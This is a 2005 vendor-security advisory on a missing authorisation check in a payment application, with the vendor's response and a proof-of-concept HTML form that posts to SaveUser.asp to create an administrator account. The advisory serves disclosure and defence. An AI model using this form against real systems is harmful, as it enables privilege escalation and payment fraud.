Portcullis Advisory 05-001 Update, Webseries Payment Application
Portcullis Security Advisory
AREAS UPDATED: VENDOR RESPONSE - IMPACT.
VENDOR RESPONSE:
The product vendor, Bottomline Technologies has provided Portcullis with
the following response to the security advisory. It should be noted that
the resolution of this issue has not been verified by Portcullis:
Bottomline acknowledge that there is a theoretical threat to the system
via this vulnerability, however would point out it would require two
trusted users to collude in order for any changes to take affect and
both would need a good understanding of the software beyond that usually
available to the end users. This of course does not take into account
any of the customers' internal security processes and procedures, which
would typically surround the use of any sensitive software.
In order to further enhance the security of the system a service pack
will be released in Q1 2005, which will check entitlements prior to
invoking any user function. If the user does not have existing
entitlements to that function, an error message will be logged and the
user will be logged off and disabled until re-enabled.
Contact Bottomline at: support@xxxxxxxxxxxxxxxx Tel: +44 (0)1189
258253.
Vulnerable System:
Webseries Payment Application
Vulnerability Title:
Lack of Backend Authorisation Checking
Vulnerability discovery and development:
Portcullis Security Testing Services
Affected systems:
Bottomline Webseries Payment Application
Details:
Portcullis consultants discovered that although privileged operations
are
not displayed in the application menu presented to unprivileged users,
these
operations may still be executed by directly accessing the appropriate
URL.
This, in effect, means that the core application is not carrying out any
form of authorisation verification and that any authenticated user,
regardless of the rights they have been assigned, can perform any action
available to any user of the system.
In its simplest form this vulnerability could be used to gather a list
of
privileged users by accessing the "User Entitlements" report which
details
user's security groups and administrative status. An attacker could use
this information to greatly increase their likelihood of success in
gaining
unauthorised access.
Impact:
An unauthorized user could, by directly accessing the SaveUser.asp
script create a new user with administrative privileges. IT SHOULD BE
NOTED THAT ANY NEW USER CREATED WOULD NOT BE ACTIVE UNTIL ANOTHER,
(DIFFERENT FROM THE CREATOR) PRIVILEDGED ACCOUNT ENABLES THE USER, THE
NEWLY CREATED ACCOUNT WOUL IN EFFECT BE A GHOST ACCOUNT, HOLDING THE
PRIVILEDGES BUT INACTIVE.
Portcullis consultants developed the following simple HTML page to
perform this action:
Any other system operation including user approval, security group
modification and payment approval can be performed in a similar manner.
The only thing obstructing a malicious attacker from succeeding in such
attacks is that the approval system has been correctly implemented.
Even by
accessing URLs directly, a user cannot approve their own changes.
Two unprivileged users, acting in collusion, have the ability to execute
any
function the system is capable of performing. This includes submitting,
and
approving, payments of unlimited value.
Exploit:
Portcullis consultants developed the following simple HTML page to
perform this action:
<html>
<body>
<h1>Add User</h1>
<hr>
<form action="http://target/wsapp/SaveUser.asp"; method="post">
Action <input name="Action" value="ADD" type="text"><br>
UserID <input type="text" name="UserID"><br>
UserName <input type="text" name="UserName"><br>
Password 1 <input type="text" name="Password1"><br>
Password 2 <input type="text" name="Password2"><br>
Email <input type="text" name="EMail"><br>
Administrator <input type="checkbox" name=Admin value=1><br>
Application User <input type="checkbox" name=AppUser value=1><br>
User Group <input type="text" name="SelUserGroup" value="111" ><br>
Security Group <input type="text" name="SecurityGroup"
value="RegMgr"><br>
<input type="submit" value="submit">
</form>
</html>
Copyright:
Copyright (c) Portcullis Computer Security Limited 2005, All rights
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Security Limited.
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